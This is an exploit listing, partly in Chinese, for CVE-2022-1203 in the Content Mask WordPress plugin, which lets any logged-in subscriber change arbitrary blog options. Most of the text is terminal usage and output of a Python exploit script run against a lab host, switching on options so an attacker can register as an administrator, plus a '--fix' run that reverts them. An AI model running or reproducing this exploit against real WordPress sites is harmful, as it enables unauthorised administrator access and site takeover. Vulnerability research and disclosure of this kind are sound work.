Content Mask < 1.8.4 - 订阅者+ 任意选项更新
Content Mask WordPress 插件在 1.8.4.1 之前的版本中，多个 AJAX 操作缺少授权和 CSRF 检查，同时也没有验证要更新的选项以确保其属于该插件。因此，任何已认证用户（例如订阅者）都可以修改任意博客选项。
$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register